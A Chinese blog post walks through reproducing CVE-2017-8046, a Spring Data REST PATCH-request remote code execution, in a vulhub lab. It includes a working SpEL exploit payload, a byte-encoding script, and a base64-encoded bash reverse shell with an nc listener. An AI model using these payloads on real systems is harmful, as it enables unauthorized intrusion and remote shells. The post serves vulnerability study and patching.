CVE-2017-8046-Spring Data Rest RCE 漏洞复现

0x00 前言

近期会一直出spring框架的漏洞

--学如逆水行舟,不进则退

0x01 漏洞简介

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞解析:

Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析 | xxlegend

0x02 影响范围

        受影响的版本

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

        不受影响的版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

0x03 漏洞复现

环境搭建这里使用vulhub靶场环境

搭建成功之后,访问靶场,出现以下页面说明搭建成功

CVE-2017-8046-Spring Data Rest RCE 漏洞复现_第1张图片

 漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的   不会的看漏洞简介中的漏洞解析

这里进行Ascii转换的使用python脚本

payload变量单引号中就是我们要执行的命令,根据自己的需求修改即可

payload = b'touch /tmp/maskedman'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

 运行转换之后,访问http://靶场ip:8080/customers/1进行抓包

此处要注意::: 1. 抓包之后get方式修改为PATCH

2.添加字段:Content-Type: application/json-patch+json

3.漏洞利用的payload为(new byte 后面的{}括号中的数字就是执行的命令转换后的Ascii码)

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[{116,111,117,99,104,32,47,116,109,112,47,109,97,115,107,101,100,109,97,110}))/lastname", "value": "vulhub" }]

CVE-2017-8046-Spring Data Rest RCE 漏洞复现_第2张图片

 抓包之后进行重放,完成图如下:

CVE-2017-8046-Spring Data Rest RCE 漏洞复现_第3张图片

发送成功之后,现在进去docker容器看一下,文件是否创建成功

进去docker容器命令为:

docker exec -it 容器ID /bin/bash 

进入容器之后,发现文件创建成功,说明命令执行成功,如下图

CVE-2017-8046-Spring Data Rest RCE 漏洞复现_第4张图片

  开始尝试反弹shell

反弹shell之前的准备步骤:

1.对反弹shell的命令进行base64编码

2.使用python脚本对base64编码后的命令进行转码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4ASDADjYuNjUvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}

CVE-2017-8046-Spring Data Rest RCE 漏洞复现_第5张图片

 

 编码转码之后,在http://靶场ip:8080/customers/1页面处进行抓包

修改的注意点和上面是一样的,只需要将转码后的数字改为反弹shell的即可

nc监听

nc -lvvp 1122

 发送数据包反弹shellCVE-2017-8046-Spring Data Rest RCE 漏洞复现_第6张图片

 0x04 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

参考文献:Spring Data Rest服务器PATCH请求远程代码执行漏洞技术分析与防护方案 – 绿盟科技技术博客 (nsfocus.net)

 

 

你可能感兴趣的:(漏洞,安全,web安全,框架)